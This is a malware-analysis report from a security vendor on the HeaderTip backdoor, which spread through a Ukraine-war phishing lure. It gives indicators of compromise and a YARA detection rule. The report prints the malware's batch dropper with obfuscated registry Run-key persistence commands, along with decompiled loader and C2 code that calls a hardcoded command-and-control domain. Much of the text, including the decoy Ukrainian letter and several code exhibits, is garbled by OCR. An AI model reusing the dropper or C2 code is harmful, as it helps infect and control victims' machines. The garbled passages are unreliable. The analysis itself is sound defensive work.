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Since humans are still the weakest link in cybersecurity, threat actor(s) continue to prey on fallible
human nature to launch cyberattacks. As the Russia-Ukraine conflict continues to impact the
global economy and draw worldwide attention, these tensions create opportunities for threat
actor(s) to designing campaigns to exploit human vulnerabilities and anxieties stemming from the
Russia-Ukraine conflict.

HeaderTip is a malware used by threat actor(s) that are leveraging the current Russia-Ukraine
conflict to spread persistent malware. eSentire Threat Intelligence assesses with high confidence
that HeaderTip serves as a backdoor and a loader for threat actor(s) to further deploy rootkits,
trojans, or other types of malware.

eSentire’s Threat Intelligence team has performed a technical malware analysis on HeaderTip.
This technical analysis provides a breakdown of how HeaderTip achieves the persistence on the
infected machine and how it obfuscates the code to evade detections.

Key Takeaways

o eSentire Threat Intelligence assesses with high confidence that the initial access vector for
HeaderTip was a phishing attack.

o The threat actor(s) is using obfuscation techniques in the malware sample to hinder the
analysis and avoid detection.
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+ The malware achieves the persistence via Registry Run Keys that link to the dropped files in
%TEMP% folder.

o HeaderTip utilizes ChangelP for Dynamic DNS (DDNS), which allows the attacker(s) to
evade detections.

o eSentire’s Threat Response Unit (TRU) created two new detections to identify the
HeaderTip malware.

Case Study

On March 22, 2022, the Computer Emergency Response Team of Ukraine (CERT-UA) detected
the RAR-archive translated as, “The preservation of video materials on criminal actions from
Russian military” from a Ukrainian organization. The malware campaign is dubbed as HeaderTip
and is being tracked as UAC-0026.

CERT-UA reported that they observed similar activity in September 2020. In addition, researchers
at SentinelOne have tied the malware campaign to the suspected Chinese group of threat actors
known as Scarab. The Scarab malware was first observed in 2012 targeting organizations in
Russia, Ukraine, United States, Chile, and Syria.

Technical Analysis on HeaderTip

The RAR archive contains an executable with the same naming convention as the archive. The
executable has an embedded PDF file and is not signed. The 32-bit executable is written in C++
programming language with a file size of 653 KB.

An overview of the malicious files, domains and IPs related to HeaderTip (Exhibit 1).
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Exhibit 1: Overview of HeaderTip malicious files from VirusTotal graph
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The executable file contains the .RCData section with an embedded PDF file which is likely used
as a bait. The PDF document contains information from the National Police of Ukraine with
instructions on how to retain video evidence on criminal activities conducted by the Russian
military in Ukraine so they can be used in investigations by the Criminal Investigative Division of
Ukraine (Exhibits 2-3).

The metadata indicates that the PDF document was created on March 16, 2022, which is the
exact date when the document was issued and signed. We assess with high confidence that the
document was not forged. The document was written by a native Ukrainian speaker, based on
grammatical accuracy and vocabulary.
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Exhibit 2: The resource containing a PDF header and objects
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HAIIIOHATbHA ITOJIIITA

YEPAIHH JacTymENEAM  HAYATRHMKIR -

HAYAILHIEAM KpuMiHAILHOT

gya. Borowomsa, 10, s Kais, 01601, ooainii  reloBHHX  YOpaBdiH

Ten. 254-93-33, nfo@police. pov.ua Hamionaaenoi noginii B ofaacrax
Lnswradisanifnii wox 40109578 Ta M. Knegi

16.03. 2012 pory MNe 2163/0233-2022

Ha ha Eig

Scaricns o ap

pocificssol pezepauil

24 motoro pocii posmodata BIIKPHTE BifichkoBe BTOPTHEHHR J0 YEpaiHH, v
TOMY THC 3 TeprETopil Pecybniss Binopycs. Bae Jeriirka THAHIE BII0VBAOTRCE
PakeTHi 0OCTPUTH BIACEEOEOT Ta UHELTEHOT IBEPacTpVETYPR Mo BCIA Kpaisl, THHYTE
MHPHI EHTEM, SHRTYETECA MalHO Ta BA0VEACTRCA CHCTEMHE BUHHEHRA BillCEROBHX Exhibit 3: The contents
T2 3MOTHHIE TPOTH THOJCTEA BiECRROBOCTY AOOBIAME apMil pocil

B ywmoBax BIACEEOBOTO CTaHY T2 3HHIEHHA, ¥ TOMY 9HCT O0'eKTiE Ta
pecypcis oprasie i nizposninie Hamionamsaoi mominii Ykpaikm, icHye motpeda v
MARCHMATEHOMY SEGPEK.CEE.I BCIX AOCTYIHEN BIJEOMATEPIATIE Ha AEHX I:pmc}mcx
EYHHEHHS PiIHAX MI0THHIE APMICH Pocii.

JokpeMa J0 TaKHX EBiJeoMaTepialiE Cmd EBIOHSCTH BIICOSaNHCH 13
3araThHOOGIACHHY Ta MICREHX CHCTEM Biicomartamy (besmewme micTo, besmesmmi
peTiOH), a TaKME I[HIDEX Bijeokamep Oygs-skoi GopME EBIacHOCTI IMOJo
MepeMImeERHs (Pyxy) Bopokol TEXHIKH, MOMEETIE 0OCTPAITE Ta GoMOapIyvBa=HsA,
HAHECEHHA JPTHACPIHCHEMX 4 asianifiEWx yIapis o EUTIOBMX OyIMHEax,
WKONaX, AOHTCATKAX, MEADHAX, E:mrrpcrframﬂ Ta iHmMEX 0OEKTax
Fabe3IneyerHA AHTTEAIANLHOCT] Hace/IeHNY NYEKTIE, OOCTPLTH KOTMOH EBARyamil
UMBUTEHEX OCi0, BHOATKH BYHHEHHA MapOJepCTed Ta IHNEX JHBEPCIfHO-
POSBLIYBATBHEX, NPOTHIPABHIX i 3MCIHHEHX JisHe. KpiM Toro, coif OpHILTHTH
YEArY IMOg0 30epedeHHA EBiJSCIaNECIE  POIMIIEHHX vV  PREEX  TpyOax
#MECEHTEEDIER, PEcYpcax Mepesl iHTepHET Ta EUISO-CHOEETIE  3pO0/IcHHX
OIEEHTIIAMHE TAKMY NOJIE (3amscH Ha TenedoHax Ta BiTeo peecTparopax).

3 ormEoy Ea BHKIATEEe OpOINY POSTIAHYTH NHTAEES MOJ0 3aDesnedeHES
s0epe#eHHA 333HAYCHHX EBHING BHOE BLISOMAaTepiamE, Ta 33 MOEMHEOCTI IX
PE3EPEHHX KOMIf, 3 METOK NOJANBIMOTO JOTYIEHHY N0 MATEPIANE JOCYAOBOrO
pmc:ﬂmrsma Ia BEIOPEETH.EEI ]II,‘.'{ Har aHATTHIHHL AOCTITHERE TPAMBEHEKAME
MAPOIIIE EPEMIHATEHOTO ZHATIY.

of the decoy PDF document

The second resource contains the dropped .BAT file named “officecleaner.dat” with the following
commands:
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@echo off

set objfile=%temp%\httpshelper.dll

if not exist %objfile% (
echo | set /p="M%fgopvhrsdfertj%z" > %objfile%
type %temp%\officecleaner.dat >> %objfile%
del %temp%\officecleaner.dat
rex%ooperoitlksdfgljjdfgijtrjg%g add

HK%iwejhjkhk1%CU\Software\Microsoft\Windows\C%1ljljlkwjefiofljksdfha%urrentVersion\Run /v

"httpshelper" /d "c:\windows\system32\run%jlkjfaewiuoqrjljretfdsg%dl132.exe

%objfile%, 0AService" /f

start c:\windows\system32\rundl132.exe %objfile%, 0AService
) else (
set bat="bat"

)

The command is responsible for dropping a malicious .DLL (Dynamic Link Library) file

(officecleaner.dat) onto the % TEMP% folder, appends the MZ (the executable file format used for

.EXE files in DOS header) to it and renames the officecleaner.dat file as httpshelper.dll.
Additionally, the batch file sets up a persistence mechanism via Registry Run Keys. The

officecleaner.dat file is removed from % TEMP% folder after successfully renaming itself (Exhibit

4).

The de-obfuscated command is used to add the Registry Run Key with the key name

“OAService” to run the malicious httpshelper.dll file:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "httpshelper"” /d

“c:\windows\system32\rundll32.exe httpshelper.dil, OAService" /f start

c:\windows\system32\rundll32.exe httpshelper.dil, OAService
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ntfioscleansr.ast

S=cho cff s=c cbgfil=-t

dfhelurrencies
lpez™ fd Uoi

F3Ligbamein

Exhibit 4: The contents of the .BAT file

The third resource contains a .DLL file with a missing executable (MZ) header (Exhibit 5).
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0005FDAs
0009FD&3
0993FDa3
000 5FDAS
0005FDC3
0003FDE3
0G05FEAS
0005FE23
0003FE43
0008FEES
0005FEa3
0009FEAS
000 8FECE
0Q05SFEE3
000SFED3
0a08FF28
0Q05FF43
000SFE63

¥ -~ Lcom
w - RCData
et 101:0225
ur 102 1 9225
o 103:9225
> - i Icon Group
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! L IThiz progran
cannot be run in DOS mode.
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h w
- b B B 2 &

Exhibit 5: Resource containing the .DLL file

Upon analyzing the executable file in a disassembler, we found another value being added to the
Registry Run Keys (Exhibit 6):

/c reg add

HKEY _CURRENT_USER\SOFTWARE\\Microsoft\Windows\\CurrentVersion\\Run /v
httpsrviog /t REG_SZ /d

The added httpsrvlog key is responsible for running the officecleaner.bat file under the % TEMP%

directory.

_dnt1s va; fF b
un:igned int wiR; ff eax
char ®*v11; S/ edi

w13 = 181;
strepy(
19

int w133 ff [esp+Ch] [ebp-534h]

DWORD NumberOfBytesWritten; J/ [=sp+l@h] [ebp-538h] BYH
HRSRC w15; Jf [esp+ldh] [et ]

int vis[e6]: S/ [esp+lEh 528h] BYREF

CHAR MultiByteStr[263]; ¢ 128h] [ebp-428h] BEYR
char w18; ff [esp+227h] -319h] BYREF

char v'ﬂ[:ﬁ4]; fr :r'r ] :“EE 3 dh: EYREF

WCHAR Buffer[262]; ff [=sp+li@h] [ebp-218h] BYR

memset(viG, @, sizec-f{.;i}}j

rosult = FindResourceW{d, (LPCW

TR)BHES, [LPCHSTRIBNA);

for { i = result; result; i = result )
i
result = [HRSRO)SizecfResource(@, i);
vlS = result;
if { Iresult }
break;
result = [(HRSRC)LoedResocurce(@, i};
if { Iresult }
break;

"fe reg add HKEY_CURRENT_USERM\SOF TWARE\WMicrosofth Windows\\CurrentWersion\ \Ren fv httpsevlog /St REG_ST Fd ")3 |
mEmse W IE  Bo )

Exhibit 6: Registry Run Key added for httpsrviog value

We have observed the following files being dropped onto the % TEMP% folder after the running

the malicious executable:

+ officecleaner.bat: the batch file responsible for persistence of the .DLL file.
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» officecleaner.dat: the malicious .DLL file (before the PC reboot or execution of a batch file).

o httpshelper.dil: the malicious .DLL file (after the PC reboot or execution of a batch file)

o #2163_02_33-2022.pdf: the decoy PDF file.

Analyzing the httpshelper.dil file

The 32-bit .DLL file is written in C++ programming language. The size of the file is relatively small
—9.50 KB. Upon analyzing the file in a disassembler, we have noticed that the malware is hiding
the API imports by applying the stackstrings and dynamically resolving APIs at runtime (Exhibit

7).

B I Jint resalve stack stringa()
o 2 [{

ma 3| HMODULE ptr_WinInet; /J eox
Latdd 4| FARPHOC InternetCloseHandle; [/ =ax
R 5 HMODULE USER3Z; J//

man G| CHAR wa[24];

Lt | Enak vs[2e];

o 5| CHAR ve[28

e 9| CHAR w7[28

L B 10| cHAR va[20];

o |‘::|'I-a| e+l] 1 cHAR va[ze];

mow ochlane+2][, CHAR v18[28]; ,.l,.

maw celame+3], 13| CHAR vI1[16];

o 14| CHAR v12[18]; ,-',

i 15| CHAR ProcHame[16

mav 16 | CHAR v14[18];

mow 7

L ‘orflane+d][, 4F 13 cha

mow coflameta ][, » ] 19

mow oclamcash], 65h ; ‘o wal o

o ‘orNane+8Bh], 6Eh ; ‘n’ 21

mov ochame+aCh], 57h ; "W° 23

o ceflanetath], bl 23

o [ var_8C], 4% ; 'T 24

mow [ Bhdvar_8C+1], BER ; °r e

o

e 28

e 29

o - ]
e 31| | strcpy(vs, "InternetClosed am &"}:
mo 32| SF T e T

o return 1;

= - E i

e [ebpt7Bhivar_8C+oBR]|, 6Eh ; 'n ODC00FED sesclve stack strings:l [LO0O1BED) (Syncheonized with IDR View—h, Hex Visw—L

Exhibit 7: Using stackstrings for obfuscation

The malware hashes the libraries and API functions by applying ROR-13 calculation to evade
detections. LoadLibraryA is used to load the Wininet library, which contains the functions that
enables the application to interact with HTTP protocol in our malware sample. GetProcAddress
APl is used to resolve the function’s address. (Exhibit 8-9).

ult = sub_1@8@21CBBXEFECDESF|, w1 = result,

dword_leeeszas = result, result l= -

dword_10884288 = sub_108@21FC(.1,| BxECAE4ESE) ;|
dword_ eop420C - sub 108021FC(uL awcam—cm)-.
strepy(v12, "Sleep");

dword_10084285 = ( nt {_stdcall *){_DWORD)){(int (_stdcall *)(int,
b, 100012»4—( ngl);

while ( 1y

dN"U.lll.S?CDF\dS = 18008;
= ub eaenqﬁ( 7, E0Sa, @);
if (s

dword_18864285( dwti111s=conds) ;
v3 = sub_10861396(v13, Bese, 1);
i

char *)jdword_180@429C)(v1, v12);

LCBYTE(.__) =8
28] =

dword mainm =1
antilliseconds
1 tre

ay(st ro
<Loop (@l 1izeconds
1 = sub_106021¢6 [KERNEL3Z DLLY;

© = sub_100021CB{kernel32 d11}, sult, dword 18684294 = result, result ! -1) )
dword_10804288 = st  1686216C(v1,| L
dword_1008429C = sub iﬁaBJIFC[ 4
‘tl’(py( 12,
dword_100042 stdcal Wint, char *))dword_1886429C) (w1, vi2);

while {1 Y

dutilliseconds = 13608;
S maangs( 13, seaa, 8);
if (1v3)

{
dword_16064288(dwti1liseconds);
sub_18@81396(13, 8888, 1);

by

Exhibit 8: Resolved APIs and kernel32 DLL
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strepy( FileName, "WinInet");
strepy{Proclame, "InternetOpenk");
strepy(vd, "IntermetConnecti™);
strepy(v/, "HttpOpenRequestW™);
strepy(ve, "HttpSendRequestW"):
strepy (v, "InternctSetOptionw");
strepy{v4, "InternetQueryOptionk™});
strepy(vls, "Lnta'netHeacFile');
strepy(vl?, “HttpQueryInfow");
strepy(vs, "InternetCloseHandle");
if ( WinI th )]
return 1;
vi = LoadLibrarya(libFiledame);
WinINet =
i (1)
{
InternetOpentd = (HLI
InternetConnectid = (
HttpOpenRequestll = (
HttpSendRequestid = (
InternetSetOption = (BOOL

PCWSTR, Db -kL))GetProcAddre;;(

NET PORT CWSTR, LPCWSTR, DWO
FCh PCUWSTR, LPCWSTR

SII:, DOR I:]JGctPrccAddrcss(l\ImIN:t .C

1) YGetProcAddress(WinIlet, viE);

S0W0AD) )GetProcAddress(WinINet, wa);

1) )GetProcAddress(WinInet, viae);

LPOWORD ) )GetProcAddress(WinIlet, v12);

DWORD_PTR) }GetProcaddress{WinINet, wo);
=TR))GetProcAddress(WinINet, v7);

InternetQuerylptiont = (B00OL

InternetReadrile = (F

Iltthu:r,I[n'FoN = (BOOL (__
_____ seHandle = GetPrccAddress(NmIllet, :|,

ptr Lnte"nettloseHandle = (int {_ stdcal )l: WORD) ) InternetCloseHandle;

Exhibit 9: Using GetProcAddress to resolve the functions

The malicious DLL initiates the connection to the C2 domain over port 8080, the function resides
in export named OAService (Exhibit 10). The threat actor(s) is utilizing Dynamic DNS (DDNS)
from ChangelP with the hardcoded domain in the DLL sample, which means that the infected
machines can connect to C2 servers using a domain name instead of |IP address. This gives the
threat actor(s) a huge benefit as they can change or not have to rely on IP addresses to avoid
detection.

2 _-In-r;-'-- = Stringl;
while ( 1)
dhﬂllllseconds = 15ee8; // 18 seconds
InternetOpen = InternetOpen_init((int)c2 domain, 8888, @);// C2 domain == product2828.mrbasic.com
1f ( Iptr_ Z“te’neti:en )

Sleep B(mﬂwillisecondsj;
ptr_InternstOpen = InternetOpen_inmit{(int)c2_domain, 8880, 1);// €2 domain == product2028.mrbasic.com

size = 53282;

Exhibit 10: C2 connecfion over port 8080

The main C2 communication function is shown in Exhibit 11. The malware creates a POST
request handle, checks if the request is successfully received from the C2 server with HTTP
response code 200, and reads 128 bytes of data received from C2 server by calling
InternetReadFile API (Exhibit 12). It also uses the User-Agent string, Mozilla/5.0 (Windows NT
10.0; WOWG64; Trident/7.0; rv:11.0) like Gecko, for C2 communications.
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if [ hRequest )

for { i = hRequest; ; 1 = hRequest )

lwumberofBytesRead = 128;
if ( !Int:rnctRcudFilgl: s B, 128u, Sdwhiur .-"fri':- --.?—ml) || L dwidum --“-‘r'_.--.-G-nI }
break;

ptr_InternstCloseHandle(hRequest);
hRequest = @;

}

wsprintfW(sz0Objectlame, L"E016T64x%88x", ptr_info_gathering, ptr_GetTickCount);
POST_requesthandl = HttpOpenRequestwW{hConnect, L"POST", szObjectMames, 8, 8, &, exBACE0188, 8);
hRequest = POST_requesthandl;

if [ POST_reguesthandl

8& ((Buffer - 128008,
IntEFhEtSEtﬂptiDﬂN{-Lbl requesthandl, INTERMET_OPTION_SEND_TIMEOUT, Beuffer, INTERNET_DPTIDH_CDNNEET_E&EKGFF],
Interne tSE-tﬂ'pt iﬂl‘ﬂd{ hREqUE&t & I'NTERHET_OF'TICN_RECE IUE_T'H-'IEDUI_, &Buffar 5 rNI_EF[I'IET_{)F‘T'IC'I'\.I_I:DN"ECT_EIE.EKDFF) 3
HttpSendRequestW(hRequest, @, @, (LPVOIDYlpOpticnal, dwOptienallength))
|| WSAGetlastError() == ERROR_INTERNET INVALID CA
28 (lpBuffer = 13184,

IntEPnEtEEtﬂptiGnN{hREquEst, INTERNET_OPTION_SECURITY_FLAGS, &lpeuffer, INTERHET_GPTIDN_CDHNECT_BAEKDFF),
InternetSetOptionW(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &1pSuffer, INTERMET_OPTION_CONNECT_BACKOFF),
HttpSendRequestW(hRequest, @, @, (LPVOIDY1lpOpticnal, dwOpticnallength)))
2% HttpQueryInfol(hRequest, HTTP_QUERY_FLAG NUMBER, ZlpSuffer, BdwBufferLength, @)
8% lpBuffer == 28@ ) S/ status code == OK
{
return 1;

Exhibit 11: Main C2 function

We have also noticed a function containing a “Loader” string. We believe the function is

responsible for loading the DLL into the memory by using VirtualAlloc API to allocate new memory

regions inside the address space of a process (Exhibit 12). First, it compares if the file contains
MZ header, then it loops through the first 4096 bytes of the DLL file (Exhibit 13).

vB = B;

if ( lsrc )
return @;

if ( !5ize )
return 8;

if ( *(_BYTE *)5rc 1= 77 ) f M
return 8;

if ( *((_BYTE *)Src + 1) != 3@ ) iz
return @;

ptr_loader = dll_leader{{int)5rc);

if ( !ptr_loader )
return @;

W

_ lloc = (char *)VirtualAlloc(®, Size, @x3080u, PAGE_EXECUTE_READWRITE);// MEM_COMMIT | MEM_RESERVE == @x308@

B = p W rualalloc;
if ( !ptr_virtualAlloc )

return @;
memcpy({ptr_Virtualalloc, Src, Size);
v = (int (__stdcall *)(_DWORD, int, int *))((int (__stdcall *)(int))&vS[ptr_loader]){ai);
if (vs )

if ( lwve(e, 6, &E) )

return 8;
}
return va3;
I

Exhibit 12: Function checks for the MZ header and calls VirtualAlloc
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add =bp, edi

mon =mx, [esit+lBh]

monw [esp#iléh+arg B8], eax
test =ax, eax

j= short loc_l@@el1219

v ¥

= =

loc_16881255:

dec [esptidh+arg_ @]

push edi

push dword ptr [ebx]

call sub_ 18891987

add cax, edi

push offset SubStr  ; “Loader”
push cax 3 5tr
call ds:strstr

add esp, 18h

test N, Cax

jnz short loc_18881283

ebx, 4
inc chp
inc ebp
omp [esptl@htarg_2], eax
jnz short loc_ 18881255

h |

= || |l =

mow eax; 18Eh I jmp short loc 16661210
|

G =& =

Exhibit 13: The function loops through the first 4096 bytes of the DLL file

What eSentire is doing about it

Our Threat Response Unit (TRU) combines threat intelligence obtained from research, security
incidents, and the external threat landscape to produce actionable outcomes for our customers.
We are taking a holistic response approach to combat all malware by deploying
countermeasures, such as:

» Implementing two new detections to identify HeaderTip malware across eSentire MDR
(Managed Detection and Response) for Endpoint solutions.

+ Performing global threat hunts against the I0Cs (Indicators of Compromise) and known
suspicious activities associated with the HeaderTip malware.

¢ Actively monitoring for any signs of compromise.

Our detection content is supported by investigation runbooks, ensuring our SOC cyber analysts
respond rapidly to any intrusion attempts. In addition, our Threat Response Unit closely monitors
the threat landscape and addresses capability gaps and performs retroactive threat hunts to
assess customer impact.

Recommendations from eSentire’s Threat Response Unit (TRU)

We recommend implementing the following controls to help secure your organization against
HeaderTip malware:

o Conduct security awareness training to lower the risk of phishing threats.

o Patch any external-facing devices and applications on an ongoing basis. Conduct regular
vulnerability scans to ensure your team is staying on top of identifying, and patching, all
known vulnerabilities.
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o Ensure your team is enforcing strong password policies for all employees as part of
strengthening your organization’s overall cyber hygiene.

* Implement the Principle of Least Privilege (POLP) that requires giving each user only the
permissions needed to complete their task and nothing more

While the Tactics, Techniques, and Procedures (TTPs) used by threat actor(s) grow in
sophistication, they lead to a limited set of options at which critical business decisions must be
made. Intercepting the various attack paths utilized by the modern threat actor requires actively
monitoring the threat landscape, developing, and deploying endpoint detection, and the ability to
investigate logs & network data during active intrusions.

eSentire’s Threat Response Unit (TRU) is a world-class team of threat researchers who develop
new detections enriched by original threat intelligence and leverage new machine learning
models that correlate multi-signal data and automate rapid response to advanced threats.

If you are not currently engaged with an MDR provider, eSentire MDR can help you reclaim the
advantage and put your business ahead of disruption.

Learn what it means to have an elite team of Threat Hunters and Researchers that works for you.
Connect with an eSentire Security Specialist.

Appendix

Sources

Indicators of Compromise

Name Indicators

Mpo 839e968aa5a6691929b4d65a539¢c2261f4ecd1c504a8ba52abbfbac0774d6fa3
30epexeHHs (SHA-256)

Bijeomarepianis

3 (hikcauieto

3MOYUNHHUX OiN
apMii pocincbKol
denepauii.rar

Mpo 042271aadf2191749876fc99997d0e6bdd3b89159e7ab8cd11a9f13ae65fabb1
36epexeHHs (SHA-256)

Bigjeomarepianis

3 (oikcauieto

3MOYUHHUX ain
apMii pocincekol
denepauii.exe

#2163_02_33- C0962437a293b1e1c2702b98d935e929456ab841193da8b257bd4ab891bfof69

2022.pdf (decoy (SHA-256)
PDF)
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https://www.esentire.com/get-started

officecleaner.dat a2ffd62a500abbd157e46f4caeb91217738297709362ca2¢c23b0c2d117¢c7df38
officecleaner.bat 830c6ead1d972f0f41362f89a50f41d869e8c22ea95804003d2811c3a09c3160
httpshelper.dll 63a218d3fc7c2f7fcadc0f6f907f326cc86eb3f8cf122704597454c34c141cf1

C2 Domain product2020[.]Jmrbasic[.Jcom
IP 104.155.198[.]25
Yara Rules

The Yara rule for the malicious DLL and the executable:

import "pe"
import "math"
rule HeaderTip {

meta:
author = "eSentire TI"
date = "03/27/2022"
version = "1.0"
strings:

$string = "%016I164x%08x" wide fullword nocase
$user_agent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like
Gecko" wide fullword nocase

$export = "OAService"

$d11_name = "httpshelper.dll"

$c2_domain = "product2020.mrbasic.com" wide fullword nocase
condition:

for any i in (0..pe.number_of_sections - 1): (
math.entropy(pe.sections[i].raw_data_offset, pe.sections[i].raw_data_size) >=6

and
pe.sections[i].name == ".text") and
all of them and
(uint16(0) == OX5A4D or uint32(0) == 0x4464c457f)
}
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